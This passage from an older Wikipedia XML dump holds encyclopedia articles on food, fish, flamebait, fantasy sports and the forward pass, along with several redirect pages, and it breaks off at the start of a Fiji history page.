*[http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=EN&amp;numdoc=32002R0178&amp;model=guichett EU definition of food]

== Human eating habits ==
===Historical development===
[[Human]]s are commonly believed to be [[omnivore|omnivorous]] animals that can consume both plant and animal products. Evidence suggests that early [[human]]s employed [[hunter-gatherer]] techniques as their primary method of food collection. This involves combining stationary plant and fungal food sources (such as fruits, grains, roots, and mushrooms) with mobile animals which must be hunted and killed in order to be consumed. Additionally, it is believed that humans have used fire to prepare food prior to eating since their divergence from [[Homo erectus]], possibly even earlier.

At least ten thousand years ago, humans developed [[agriculture]], which has [[Timeline of agriculture and food technology|altered the kind of food people eat]]. This led to a variety of important historical consequences, such as increased [[population]], the development of [[cities]], and the wider spread of [[infectious disease]]s. The types of food consumed, and the way in which they are prepared, have varied widely by time, location, and culture.

===Meals===
A portion of food or the act of eating a portion of food is considered a [[meal]].

Often named and patterned, meals play a role in an important social occasion, such as the celebration of many key [[culture|cultural]] and [[religion|religious]] [[festival]]s.

A meal can be used as means for feeding a single individual or shared and eaten simultaneously by two or more people.

The number of meals consumed by individuals in a [[day]], their [[size]], [[wikt:composition|composition]], when and how they are prepared and eaten varies greatly around the world. This diversity can be attributed to a number of local factors, including [[climate]], [[ecology]], [[Economics|economy]], [[culture|cultural]] [[tradition|traditions]] and [[industrialisation]].

In societies where the availability of food has risen above [[subsistence]] levels and beyond [[staple food]]s, meals are also [[sell|sold]] pre-prepared for immediate consumption in [[restaurant]]s and other similar [[retail]] premises.

Food eaten in smaller quantities between the culturally normative meals is regarded as [[snack food]].

:''See also: [[Appetite]], [[Buddhist cuisine]], [[Eucharist]], [[Fast food]], [[Fasting]], [[Gault Millau|Gault Millau restaurant guide]], [[Halaal]], [[I-tal]], [[Kashrut]], [[Michelin Guide|Michelin restaurant guide]], [[Muslim dietary laws]], [[Potluck]], [[Totemism]]''.

==Food production or acquisition==
Food is traditionally obtained through [[farming]], [[ranching]], and [[fishing]], with [[hunting]], [[foraging]] and other [[List of subsistence techniques|methods of subsistence]] locally important for some populations, but minor for others.

In the modern era in [[developed nations]], food supply is increasingly dependent upon [[agriculture]], [[factory farming|industrial farming]], [[aquaculture]] and [[fish farming]] techniques.  These techniques aim to maximize the amount of food produced while minimizing the [[cost]]. The techniques include a reliance on mechanized tools, from the [[threshing machine]] and [[seed drill]], to the [[tractor]] and [[combine harvester|combine]].  Developed tools have been combined with the use of [[pesticide]]s to promote high [[agriculture|crop]] [[yield]]s and to combat [[insect]]s or mammals which reduce yield.

More recently, there has been a growing trend towards more [[sustainable agriculture|Sustainable agricultural]] practices. This approach - which is partly fuelled by [[consumer]] [[demand]] - encourages [[biodiversity]], local self-reliance and [[Organic farming]] methods.

Major influences on food production are international policy, ''e.g. the [[World Trade Organization]] and [[Common Agricultural Policy]]'', national government policy or [[law]] and [[war]].

Food for [[livestock]] is [[fodder]] and traditionally comprises [[hay]] or [[cereal|grain]].

:''See also: [[mariculture]], [[horticulture]], [[agribusiness]], [[gardening]].''

[[Image:Foods.jpg|thumbnail|right|Food from plant sources]]

===From [[plant]]s===
* [[Seed]]s
** [[Cereal]]s from [[Poaceae|grass]]es, including [[barley]], [[maize]], [[oat]]s, [[rice]], [[rye]], and [[wheat]]
** Cereals from non-grasses, including [[buckwheat]], [[amaranth]], and [[quinoa]]
** [[Legume]]s, including [[bean]]s, [[pea]]s, and [[lentil]]s
** [[Nut (fruit)|Nut]]s, including [[coconut]]s, [[almond]]s, and [[pine nut]]s
** [[Oilseed]]s, including [[sesame]], [[sunflower]], and [[hemp]]
* [[Vegetable]]s (see also [[list of vegetables]])
** [[Root vegetable]]s, including [[potato]]es, [[cassava]], and [[turnip]]s
** [[Leaf vegetable]]s, including [[amaranth]], [[spinach]], and [[kale]]
** [[Seaweed|Sea vegetable]]s, including [[dulse]], [[kombu]], and [[dabberlocks]]
** [[:Category:Stem vegetables|Stem vegetables]], including [[bamboo]] shoots, [[nopal]]es, and [[asparagus]]
** [[:Category:Inflorescence vegetables|inflorescence vegetables]], including [[globe artichoke]]s, [[broccoli]], and [[daylily|daylilies]]
** [[:Category:Vegetable-like fruits|Fruit vegetables]], including [[pumpkin]], [[okra]], and [[eggplant]]
* [[Fruit]]s (see also [[list of fruits]])
* [[Herb]]s and [[spice]]s (see also [[list of herbs and spices]])

[[Image:Meatfoodgroup.jpg|thumb|right|Various uncooked meats]]

===From [[animal]]s===
* [[Dairy product]]s, including [[milk]]
* [[Egg (food)|Eggs]], including [[roe]] and [[caviar]]
* [[Insect]]s, including [[honey]]
* [[Meat]], including [[beef]], [[frogs' legs]], [[goat]], [[horse]], [[kangaroo]], [[lamb]], [[sheep|mutton]], [[pork]], [[veal]], [[rodents]], [[cannibalism|human (i.e. cannibalism)]]
* [[Offal]], including [[blood]]
* [[Poultry]], including [[chicken]], [[Turkey (domesticated)|turkey]], [[duck]], [[goose]], [[dove|pigeon or dove]], [[ostrich]], [[emu]], [[guinea fowl]], [[pheasant]], [[quail]]
* [[Seafood]], including [[Fishery|finfish]] such as [[salmon]] and [[tilapia]], and [[shellfish]] such as [[mollusk]]s and [[crustacea]]ns
* [[Snail]]s
* [[Game (food)|Game]], this includes all animals hunted for food.

===From neither animals or plants===
* [[edible salt|Salt]]
* [[Yeast]], which is a type of [[fungus|fungi]] (and an essential ingredient in [[bread]] and [[beer]])
* [[Mushroom|Mushrooms]], which are a type of [[fungus|fungi]]
* [[Seaweed]], which is a [[protist]]
* [[Water]], including [[mineral water]] and [[spring (water)]]
* [[Blue Green Algae]] (cyanobacteria)

==Food preparation==
[[Image:Mass food production02.jpg|thumb|250px|Food being prepared in large quantities]]
{{main|Cooking}}
While some food can be eaten without preparation, many foods undergo some form of preparation for reasons of safety, palatability, or [[Flavor|flavor]]. At the simplest level this may involve [[washing]], [[cutting]], trimming or adding other foods or ingredients, such as [[spice]]s. It may also involve mixing, heating or cooling, [[pressure cooking]], [[fermentation]], or combination with other food. Most food preparation takes place in a [[kitchen]].

The preparation of animal-based food will usually involve [[slaughter]], [[evisceration]], hanging, [[portion]]ing and [[rendering]].

:''See also:'' [[Barbecue]], [[List of eating utensils|Eating utensils]], [[Frankfurt kitchen]], [[Hangi]], [[Oven]], [[Microwave oven]], [[Refrigeration]], [[List of food preparation utensils|Food preparation utensils]].

===Food manufacture===
Early food processing techniques were limited by the available [[food preservation]], packaging and [[transport|transportation]]. Early food processing mainly involved [[salting (food)|salting]], [[curing]], curdling, [[drying (food)|drying]], [[pickling]] and [[smoking (food)|smoking]]. An early processed food product was [[cheese]].

During the [[industrial era|industrialisation era]] in the [[19th century]], food manufacturing arose. This development took advantage of new [[Mass-marketing|mass markets]] and emerging new technology, such as [[milling]], preservation, [[packaging and labelling]] and transportation. It brought the advantages of pre-prepared time saving food to the bulk of ordinary people who did not employ [[domestic servant]]s.

At the start of the [[21st century]], a two-tier structure has arisen, with a few international food processing giants controlling a wide range of well known food [[brand]]s; with a populous number of small local or national food processing companies.

:''See also: [[Best before]], [[Canning]], [[Food coloring|Coloring]], [[Food quality]], [[Snap freezing]], [[Food additive|Additive]]s, [[Flavoring]], [[Enzyme]]s, [[Genetically modified food]], [[Pasteurization]], [[Shelf-life]], [[Ultra-high temperature processing]].''

====Types of manufactured food====
* [[Drink]]s: [[beer]], [[juice]], [[soft drink]], [[Squash (drink)|squash]], [[wine]].
* [[Bread]] is a staple food for many nations, being made of risen dough of [[wheat]] or other cereals.
* [[Cake]]s and [[cookie]]s
* [[Cheese]] is a curdled milk product, of which many varieties exist.
* [[Dessert]] is a course, usually sweet, and generally served after the main course, e.g. [[Ice cream]].
* [[French fries]], [[Chips]]
* [[Functional food]]
* [[Jam]] and [[Jelly]]
* [[Pasta]]
* [[Pie]]
* [[Pizza]]
* Processed [[meat]]s
* [[Sandwich]]es
* [[Salad]]
* [[Sauce]]
* [[Sausage]]

==Food trade==
[[Image:Food on shelf.jpg|250px|thumb|left|Some Brand name food]]
Food is now [[trade]]d on a global basis. The variety and availability of food is no longer restricted by the diversity of locally grown food or the limitations of the local growing [[season]]. Between [[1961]] and [[1999]] there has been a 400% increase in worldwide food [[export]]s. Some countries are now economically dependent on food exports, which in some cases account for over 80% of all exports.

In [[1994]] [[trade liberalisation]] began when over 100 countries became signatories to the [[Uruguay Round]] of the [[General Agreement on Tariffs and Trade]] which included an agreement to reduce subsidies paid to farmers. This is underpinned by the [[World Trade Organization|WTO]] enforcement of [[Agricultural policy|agricultural subsidy]], [[Tax, tariff and trade|tariffs]], import [[quota]]s and settlement of trade disputes that cannot be bilaterally resolved. Where trade barriers are raised on the disputed grounds of public health and safety, the WTO refer the dispute to the [[Codex Alimentarius]] Commission, which was founded in [[1962]] by the [[United Nations]] [[Food and Agriculture Organization]] and the [[World Health Organization]].

===Food retailing===
[[Image:Beer and wine aisle.jpg|thumb|right|300px|Supermarket goods]]
The sale of surplus food traditionally took place once a week when farmers took their wares on market day, into the local [[village]] [[market place]]. Here food was sold to [[grocer]]s for sale in their local shops for purchase by local people.

With the onset of industrialisation, and the development of the food processing industry, a wider range of food could be sold and distributed in distant locations. Typically early grocery shops would be [[counter]]-based shops, in which purchasers told the shop-keeper what they wanted, so that the shop-keeper could get it for them.

In the [[20th century]] [[supermarket]]s were born. Supermarkets brought with them a [[self service]] approach to shopping using [[shopping cart]]s (or Trollies in [[Commonwealth English]]) and were able to offer quality food at lower cost, through [[economies of scale]] and reduced staffing costs. This was sometimes known as '[[pile it high]]' In the latter part of the [[20th century]], this has been further revolutionised by the development of vast [[warehouse]] sized out-of-town supermarkets, selling an extraordinarily wide range of food from around the world.

Unlike food processors, food retailing is a two-tier market in which a small number of very large [[Corporation|companies]] control a large proportion of supermarkets. The supermarket giants wield great purchasing power over farmers and processors, and strong influence over consumers. Nevertheless, in [[2000]] only 19% of all US consumer expenditure spent on food went to farmers.

Recent technological innovations such as [[point of sale]] technology - [[barcode]]s. This allows ordering of goods and food to be driven by actual sales.

===Food sufficiency===
Food deprivation leads to [[malnutrition]] and ultimately [[starvation]]. This is often connected with [[famine]], which involves the absence of food in entire communities. This can have a devastating and widespread effect on human health and mortality. In [[2003]] it was estimated that each [[year]], 40 million people die of [[hunger]] worldwide. [[Rationing]] is sometimes used to distribute food in times of shortage, most notably during times of war.

Food deprivation is regarded as a deficit need in [[Maslow's hierarchy of needs]] and is measured using [[famine scales]].

====Food aid====
[[Food aid]] can benefit people suffering from a shortage of food. Conversely, badly managed food aid can like problems by disrupting local markets, depressing crop prices and discouraging food production. Its provision, or threatened withdrawal, is sometimes used as a political tool to influence the [[politics]] of the destination country. International efforts to distribute food to the neediest countries are co-ordinated by the [[World Food Programme]].

:''See also: [[Fair trade]], [[food security]]''.

===Food safety===
[[Foodborne illness]], commonly called &quot;food poisoning,&quot; is caused by [[bacterium|bacteria]], [[toxin]]s, [[virus]]es and [[prion]]s. [[Food poisoning]] has been recognised as a disease of man since as early as [[Hippocrates]]. Murder by food poisoning was used during the [[Roman Empire]]. In the [[Middle Ages]] all [[Noble court|Royal Court]]s had food tasters.

The sale of [[Rancidity|rancid]], contaminated or adulterated food was commonplace until introduction of [[hygiene]], [[:w:refrigerate|refrigeration]], and [[vermin]] controls in the [[19th century]]. Discovery of techniques for killing [[bacterium|bacteria]] using [[heat]] and other [[microbiology|microbiological]] studies by scientists such as [[Louis Pasteur]] contributed to the modern sanitation standards that we enjoy today. This was further underpinned by the work of [[Justus von Liebig]] whose work led to the development of modern [[food storage]] and [[food preservation]] methods.

The two most common factors leading to cases of bacterial foodborne illness are cross-contamination of ready-to-eat food from other uncooked foods and improper temperature control.

Less commonly, acute adverse reactions can also occur if chemical contamination of food occurs, for example from improper storage, or use of non-food grade soaps and disinfectants. Food can also be adulterated by a very wide range of articles (known as 'foreign bodies') during farming, manufacture, cooking, packaging, distribution or sale. For example, pests (or their feces), hairs, cigarette butts, wood chips, metal shards, plasters etc.  It is possible for certain types of food to become contaminated if stored or presented in an unsafe container, such as a ceramic pot with lead-based glaze.

Understanding of the causes of food-borne-illnesses and more systematic techniques for their elimination has led to the development of commercial systems such as [[HACCP]] which can, if properly implemented, identify and eliminate many, but not all, possible risks. HACCP is well suited to identifying and controlling these potential food safety risks.

====Food allergies====
Some people have [[food allergy| food allergies]] or sensitivities to foods which are otherwise wholesome to the majority of people.

The amount of the food substance required to provoke a reaction in a susceptible individual can be [[minute]]. For instance, tiny amounts of food in the air, too minute to be smelled, have been known to provoke lethal reactions in sufficiently sensitive individuals. In theory, any food may provoke a reaction, however, this most commonly involves [[gluten]], corn, shellfish (mollusks), [[peanut]]s, and [[soy]].

Most patients present with [[diarrhea]] after ingesting certain [[food]]stuffs, skin symptoms ([[rash]]es), bloating, [[vomit]]ing and [[regurgitation]]. The digestive complaints usually develop within half an hour of ingesting the [[allergen]].

Rarely, food allergy can lead to [[anaphylactic shock]]: [[hypotension]] (low blood pressure) and loss of consciousness. This is a [[medical emergency]]. An allergen associated with this type of reaction is [[peanut]], although [[latex]] products can induce similar reactions. Initial treatment is with [[epinephrine]] (adrenaline), often carried by known patients in the form of an [[Epi-pen]].

Food allergy is thought to develop easier in patients with the [[atopic syndrome]], a very common combination of diseases: [[allergic rhinitis]] and [[allergic conjunctivitis|conjunctivitis]], [[eczema]] and [[asthma]]. The syndrome has a strong inherited component; a family history of these diseases can be indicative of the atopic syndrome.

===Dietary habits===
[[Diet (nutrition)|Dietary habits]] play a significant role in the [[health]] and [[mortality]] of all humans. For example:

*[[Eating disorder]]s are a group of mental disorders that interfere with normal food consumption. They often affect people with a negative [[body image]];
*13[[%]] of the world's population suffer from [[Iodine]] deficiency;
*In 2003 it was estimated that [[vitamin A]] deficiency causes [[blindness]] in up to 500,000 children each year;
*[[Vitamin C]] deficiency results in [[scurvy]];
*[[Calcium]], [[Vitamin D]] and [[Phosphorus]] are inter-related. The consumption of each may affect the absorption of the others.
*[[Kwashiorkor]] and [[marasmus]] are childhood disorders caused by lack of dietary [[protein]].
*[[Obesity]], a serious problem in the western world, leads to higher chances of developing [[heart disease]], [[diabetes]], and many other diseases.

Concerns about foodborne illness have long influenced diet. Traditionally humans have learned to avoid foods that induce [[acute]] illness. Some believe that this is the underlying rationale behind some traditional religious dietary requirements. Additionally, many people choose to forgo food from animal sources to varying degrees; see [[vegetarianism]], [[veganism]], [[fruitarianism]], [[living foods diet]], and [[Raw foodist|raw foodism]].

The nutrient content of diets in industrialised countries contain more [[animal fat]], [[sugar]], [[energy]], [[ethanol|alcohol]] and less [[dietary fiber]], [[carbohydrate]]s and [[antioxidant]]s. Contemporary changes to [[career|work]], [[family]] and [[exercise]] patterns, together with concerns about the effect of [[nutrition]] and overeating on human [[health]] and mortality are all having an effect on traditional eating habits. [[Physician]]s and [[alternative medicine]] practitioners may recommend changes to diet as part of their recommendations for treatment.

More recently, dietary habits have been influenced by the concerns that some people have about the [[chronic]] impact on health that arise through the consumption of [[genetically modified food]]. Further concerns about the impact of industrial farming on [[animal welfare]], human health and the [[Ecology|environment]] are also having an effect on contemporary human dietary habits. This has led to the emergence of a [[counterculture]] with a preference for [[organic food|organic]] and [[local food]].

:''See also: [[Food faddism]], [[Health claims on food labels]], [[list of diets]], [[Slow Food]].''

===[[Nutrition|Nutrients]] in food===
Nutrients in food are grouped into several categories.  Macronutrients means [[fat]], [[protein]], and [[carbohydrate]]s. Micronutrients are the [[dietary mineral|minerals]] and [[vitamins]].  Additionally food contains [[water]] and [[dietary fiber]].  See the appropriate section for further details.

==See also==
* [[Food politics]]

[[Category:Food and drink| ]]

[[de:Mahlzeit]]
[[es:Comida]]
[[fr:Repas]]
[[gl:Comida]]
[[he:מזון]]
[[ja:食事]]
[[mk:Храна]]
[[pt:Comida]]
[[sl:Hrana]]
[[fi:Ruoka]]</text>
    </revision>
  </page>
  <page>
    <title>Fish</title>
    <id>10648</id>
    <revision>
      <id>42081124</id>
      <timestamp>2006-03-03T18:20:27Z</timestamp>
      <contributor>
        <username>Aaron Walden</username>
        <id>288712</id>
      </contributor>
      <minor />
      <comment>+Cherokee link</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:herring2.jpg|thumb|250px|[[Atlantic herring]], ''Clupea harengus'': the most abundant species of fish in the world.]]

A '''fish''' is a [[poikilothermic]] (cold-blooded) water-dwelling [[vertebrate]] with [[gill]]s. There are over 25,000 [[species]] of fish, making them the most diverse group of vertebrates. Taxonomically, fish are a [[paraphyletic]] group whose exact relationships are much debated; a common division is into the [[jawless fish]] (class [[Agnatha]], 75 species including [[lamprey]]s and [[hagfish]]), the [[cartilaginous fish]] (class [[Chondrichthyes]], 800 species including [[shark]]s and [[batoidea|rays]]), with the remainder classed as [[bony fish]] (class [[Osteichthyes]]).

Fish come in different sizes, from the 16 m (51 ft) [[whale shark]] to a 7 mm (just over 1/4 of an inch) long [[stout infantfish]]. Many types of aquatic animals named &quot;fish&quot;, such as [[jellyfish]] and [[cuttlefish]], are not true fish. Other sea dwelling creatures, like [[dolphin]]s, are actually [[mammal]]s.

Certain species of fish maintain elevated body temperatures to varying degrees.  Endothermic [[teleosts]] (bony fishes) are all in the suborder Scombroidei and include the billfishes, tunas, and one species of &quot;primitive&quot; mackerel (''Gasterochisma melampus'').  All sharks in the family [[Lamnidae]] &amp;ndash; shortfin mako, long fin mako, white, porbeagle, and salmon shark &amp;ndash; are known to have the capacity for endothermy, and evidence suggests the trait exists in family [[Alopiidae]] (thresher sharks).  The degree of endothermy varies from the billfish, which warm only their eyes and brain, to [[bluefin tuna]] and porbeagle sharks who maintain body temperatures elevated in excess of 20 &amp;deg;C above ambient water temperatures. ''See also [[gigantothermy]]''.  Endothermy, though metabolically costly, is thought to provide advantages such as increased contractile force of muscles, higher rates of central [[nervous system]] processing, and higher rates of [[digestion]].

==Fish ecology==
Fish can be found in almost all large bodies of water in salt, [[brackish]] or [[fresh water]], at depths from just below the surface to several thousand meters. However, hyper-saline lakes like the [[Great Salt Lake]] do not support fishes. Some species of fish have been specially bred to be kept and displayed in an [[aquarium]], and can survive in the home environment.

Catching fish for the purpose of [[food]] or [[sport]] is known as [[fishing]]. The annual [[yield]] from all [[fishery|fisheries]] worldwide is about 100 [[million]] [[tonne]]s. [[Overfishing]] is a threat to many species of fish. On [[May 15]] [[2003]], the journal ''[[Nature (journal)|Nature]]'' reported that all large [[ocean]]ic fish species worldwide had been so systematically over caught that fewer than 10% of 1950 levels remained. [http://www.globeandmail.com/servlet/story/RTGAM.20030514.wfish1405/BNStory/National/] Particularly imperiled were [[shark]]s, Atlantic [[cod]], [[Bluefin tuna]], and Pacific [[sardine]]s. The authors recommended immediate drastic cutbacks in fish catches and reservation of ocean [[habitat (ecology)|habitats]] worldwide.

==Fish as food==

Fish are an important source of food in many cultures.  Other water-dwelling animals such as [[mollusk]]s, [[crustacean]]s, and [[shellfish]] are often called  &quot;fish&quot; when used as food.  For more details, see [[Fish (food)]].

[[Image:bbas2.jpg|thumb|''Centropristis striata'']]

== Classification ==
Fish are a [[paraphyly|paraphyletic]] group: that is, any [[clade]] containing all fish also contains the [[tetrapod]]s, which are not fish. Fish are classified into the following major groups:

* [[Conodonta]]
* [[Hyperoartia]]
** [[Petromyzontidae]] ([[lamprey]]s)
* [[Pteraspidomorphi]] (early jawless fish)
* [[Thelodonti]]
* [[Anaspida]]
* [[Cephalaspidomorphi]] (early jawless fish)
** [[Galeaspida]]
** [[Pituriaspida]]
** [[Osteostraci]]
* [[Gnathostomata]] (jawed vertebrates)
** [[Placodermi]]
** [[Chondrichthyes]] (cartilaginous fish)
** [[Acanthodii]]
** [[Osteichthyes]] (bony fish)
*** [[Actinopterygii]] (ray-finned fish)
*** [[Sarcopterygii]] (lobe-finned fish)
**** [[Actinistia]] ([[coelacanth]]s)
**** [[Dipnoi]] ([[lungfish]])

For a fuller treatment of classification, see the [[vertebrate]] article.

==See also==

*[[:Category:Fish|The Wikipedia Fish Category page]] which provides links to all aspects of the subject from icthyology to aquariums to sharks.

*[[Animal]]
*[[Aquarium]]
*[[Deep sea fish]]
*[[Fish anatomy]]
*[[Fish farming]]
*[[Fish locomotion]]
*[[Fish migration]]
*[[Fish (singer)|Fish (singer)]] 
*[[Fishing]]
*[[Fishing Light Attractors]]
*[[Fishkeeping]]
*[[Ichthyology]] (the study of fish)
*[[List of fish families]]
*[[List of fish common names]]
*[[List of freshwater aquarium fish species]]
*[[Marine aquarium fish species]]
*[[Oily fish]]
*[[Ostracoderm]] - the first fishes
*[[Prehistoric fish]]
*[[Shoal]] - the [[collective noun]] for fish (also school)
*[[Whitefish (fisheries term)|White fish]]

== External links ==
{{commons|Category:Actinopterygii}}
*[http://www.aquahobby.com Age of Aquariums - Tropical Fish] - A large aquarium hobbyist community that has been promoting responsible fishkeeping internationally since 1997.
* [http://www.fishbase.org Fish database] ([[FishBase]])
* [http://www.aworldoffish.com A World of Fish] - Species information and fish care
* Join Ray Mullet in the [http://www.liverpoolmuseums.org.uk/nof/fish/ Fish Olympics]
* [http://www.aquaticcommunity.com Aquatic Community] - Site with one of the world's largest fish databases
* [http://www.fishfriend.com/ The Aquarium Fish Tank Friend] - Site with FertFriend, Online Aquarium Fert Dosing Calculator

[[Category:Fish| ]]
[[Category:Fisheries science]]
[[Category:Seafood]]
&lt;!-- The below are interlanguage links. --&gt;

{{Link FA|pt}}

[[bg:Риби]]
[[zh-min-nan:Hî]]
[[bo:ཉ་]]
[[ca:Peix]]
[[chr:ᎠᏣᏗ]]
[[cs:Ryby]]
[[cy:Pysgodyn]]
[[da:Fisk]]
[[de:Fische]]
[[es:Pez]]
[[eo:Fiŝoj]]
[[fa:ماهی]]
[[fr:Poisson]]
[[ko:물고기]]
[[io:Fisho]]
[[id:Ikan]]
[[is:Fiskur]]
[[it:Pesci (biologia)]]
[[he:דג]]
[[ku:Masî]]
[[la:Pisces]]
[[lt:Žuvys]]
[[lb:Fësch]]
[[li:Vèsse]]
[[jbo:finpe]]
[[ms:Ikan]]
[[nah:Michin]]
[[nl:Vissen (dieren)]]
[[ja:魚類]]
[[no:Fisk]]
[[oc:Peis]]
[[pl:Ryby]]
[[pt:Peixe]]
[[ru:Рыбы]]
[[simple:Fish]]
[[sl:Ribe]]
[[sr:Рибе]]
[[fi:Kalat]]
[[sv:Fiskar]]
[[th:ปลา]]
[[tr:Balık (hayvan)]]
[[uk:Риби]]
[[zh:鱼]]</text>
    </revision>
  </page>
  <page>
    <title>Food and drink</title>
    <id>10649</id>
    <revision>
      <id>32003157</id>
      <timestamp>2005-12-19T20:11:26Z</timestamp>
      <contributor>
        <username>Fplay</username>
        <id>549736</id>
      </contributor>
      <comment>Sorry, this is top-level browsing category.  Do not confuse new person using the browsing user interface.</comment>
      <text xml:space="preserve">#REDIRECT [[Food]]</text>
    </revision>
  </page>
  <page>
    <title>Flamebait</title>
    <id>10650</id>
    <revision>
      <id>40581978</id>
      <timestamp>2006-02-21T16:35:18Z</timestamp>
      <contributor>
        <ip>67.138.152.226</ip>
      </contributor>
      <text xml:space="preserve">'''Flamebait''' is a ''[[message]]'' posted to a public [[Internet]] discussion group, such as a [[Internet forum|forum]], [[newsgroup]] or [[mailing list]], with the intent of provoking an angry response (a &quot;[[flaming|flame]]&quot;) or argument over a topic the troll often has no real interest in.  

There are various motives or explanations for this puzzling behavior.  Two of the most popular are the desire for attention and the desire for entertainment at the expense of others.  Another is simply a desire to observe, and learn from, human behavior in an anonymous, hence non-threatening, environment. Posted flamebait can provide the posting party with a controlled trigger-and-response setting in which to carry out social experiments.

It is often hard to determine who is really responsible for the degradation of a reasonable discussion into a [[Flaming|flamewar]]. Someone who posts a contrary opinion in a strongly focused discussion forum may be easily labeled a &quot;[[baiter]]&quot;, &quot;[[flaming|flamer]]&quot; or &quot;[[Internet troll|troll]]&quot;. Therefore, it seems especially important to make the rules and focus of a discussion forum public to avoid misconceptions about its accepted use.

'''Taking the bait''' refers to someone who responds to the original message regardless of whether they are aware the original message was intended to provoke a response.

The conclusion to a flamewar precipitated by flamebait is often determined by recourse to [[Godwin's Law]].

==See also==
*[[Internet troll]]
*[[Social software]]

==External links and references==

* [http://slashdot.org/comments.pl?sid=95824&amp;cid=8206623 Slashdot post example of flamebait]
* [http://catb.org/~esr/jargon/html/F/flame-bait.html jargon file reference for Flamebait]
* [http://groups.google.com/groups?selm=664%40mit-vax.UUCP&amp;oe=UTF-8&amp;output=gplain older flamebait reference on USENET, 1985 (via Google Groups)]
* [http://www.politicsforum.org/images/flame_warriors/ Netizens Guide to Flame Warriors... images, text, humor on the types of flamer]

[[Category:Internet culture]]
[[Category:Internet trolling]]
[[fr:Flamebait]]</text>
    </revision>
  </page>
  <page>
    <title>Floating Point</title>
    <id>10651</id>
    <revision>
      <id>15908450</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Floating point]]
</text>
    </revision>
  </page>
  <page>
    <title>Fixed Point</title>
    <id>10652</id>
    <revision>
      <id>15908451</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fixed_point]]
</text>
    </revision>
  </page>
  <page>
    <title>Fantasy sport</title>
    <id>10653</id>
    <revision>
      <id>37371467</id>
      <timestamp>2006-01-30T16:07:35Z</timestamp>
      <contributor>
        <username>N. Harmonik</username>
        <id>351670</id>
      </contributor>
      <text xml:space="preserve">A '''Fantasy sport''' is a [[game]] where fantasy owners build a team that competes against other fantasy owners based on the [[statistics]] generated by individual players or teams of a professional [[sport]].  Probably the most common variant converts statistical performance into points generated by a fantasy team, and are typically simple enough to be manually calculated by a &quot;league commissioner.&quot;  More complex variants use computer modeling of actual games based on statistical input generated by professional sports.  Fantasy sports are also known as Fairy-Tale sports and Owner Simulation.

Some popular fantasy sports:
* [[Fantasy baseball]]
* [[Fantasy cricket]]
* [[Fantasy football (American)]]
* [[Fantasy football (soccer)]]
* [[Fantasy basketball]]
* [[Fantasy golf]]
* [[Fantasy hockey]]
* [[Fantasy Auto Racing]]
*[[Fantasy Waterski]]

Some sports writers criticize fantasy sports, especially those involving team sports, of focusing too much on statistics; a player on  a real team might be a team player and help his/her team win championships, but with the advent of fantasy sports, team play does not matter as much as having good individual statistics. 

[[Category:Fantasy sports|*]]</text>
    </revision>
  </page>
  <page>
    <title>Forward pass</title>
    <id>10654</id>
    <revision>
      <id>40774293</id>
      <timestamp>2006-02-22T22:56:32Z</timestamp>
      <contributor>
        <username>DJ Clayworth</username>
        <id>16175</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">In several forms of [[football]] a '''forward pass''' is when the ball is thrown from one player to another on the same team, ending closer to the team's goal line.

==American and Canadian Football==

In [[American football|American]] and [[Canadian football]], a '''forward pass''' &amp;mdash; usually called simply a '''pass''' &amp;mdash;  is a throwing of the football from a member of the team in possession of the ball to another member of the same team who is closer to that team's [[goal line]].  This is permitted only once during an offensive [[football play|play]] and only from behind the [[line of scrimmage]]. If an [[eligible receiver]] on the passing team legally catches the ball it is a complete pass and the receiver may attempt to advance the ball. If an opposing player legally catches the ball (all defensive players are eligible receivers) it is an [[interception]]. That player's team immediately gains possession of the ball and he may attempt to advance the ball toward his goal. If no player is able to legally catch the ball it is an [[Glossary of American football#I|incomplete pass]] and the ball becomes [[Dead ball (American football)|dead]] the moment it touches the ground. It will then be returned to the original line of scrimmage for the next [[Down (football)|down]]. If any player interferes with an eligible receiver's ability to catch the ball it is [[pass interference]] and will incur a penalty. 

The person passing the ball must be a member of the [[offensive team]], the recipient of the forward pass must be an [[eligible receiver]], and must touch the passed ball before any ineligible player.  

The moment that a forward pass begins is important to the game. The pass begins the moment the passer's arm begins to move forward. If the passer drops the ball before this moment it is a [[fumble]] and therefore a [[Glossary of American football#L|loose ball]]. In this case anybody can gain possession of the ball before or after it touches the ground. If the passer drops the ball after his arm begins moving forward it is an incomplete pass (unless someone catches the ball before it hits the ground in which case it is a completed pass or an interception).

If a forward pass is caught at the sideline it is only complete (or intercepted) if the receiver catches the ball ''in bounds''. In the [[NFL]] the receiver must touch the ground with both feet within bounds after catching the ball to be in bounds. In the [[NCAA]] the receiver only needs to touch the ground with one foot within bounds after catching the ball.  The [[Canadian Football League|CFL]] rule is similar to the NCAA's - the pass will be ruled complete if caught by a receiver in mid-air, as long as he touches the ground in bounds with his ''first step.''

What is common to all [[gridiron]] codes is the receiver must have ''possession'' of the ball while he is still in bounds as defined by his code.  If the receiver catches the ball but the official determines that he was still &quot;bobbling&quot; it as he stepped into touch, the pass will be ruled incomplete.
=== History ===
According to NFL history (see external link below) the forward pass was legalized from anywhere behind the line of scrimmage February 25, 1933.

==Rubgy==

In the two codes of Rugby [[Rugby union]] and [[Rugby league]] a '''forward pass''' is when the ball is passed forward to a player in the same team. This is considered a minor foul, resulting in a [[Scrum (rugby)|scrum]].

To minimise the chances of this happening and to support the ball carrier, team-mates try to stay onside (behind the player with the ball).

==See also==
*[[Lateral pass]]
*[[Pass interference]]
*[[American football/Glossary]]
*[[Rugby union]]
*[[Rugby league]]

==External links==
*[http://www.nfl.com/fans/rules NFL Digest of Rules]
*[http://football-plays-and-drills.com/encyclopedia Football Plays, Drills and Fundamentals] - Resource for coaches &amp; players.
[[Category:American football plays]]
*[http://www.nfl.com/history/chronology/1931-1940 NFL History of the 30's]</text>
    </revision>
  </page>
  <page>
    <title>Fiji/History</title>
    <id>10655</id>
    <revision>
      <id>15908454</id>
      <timestamp>2002-06-01T20:35:03Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
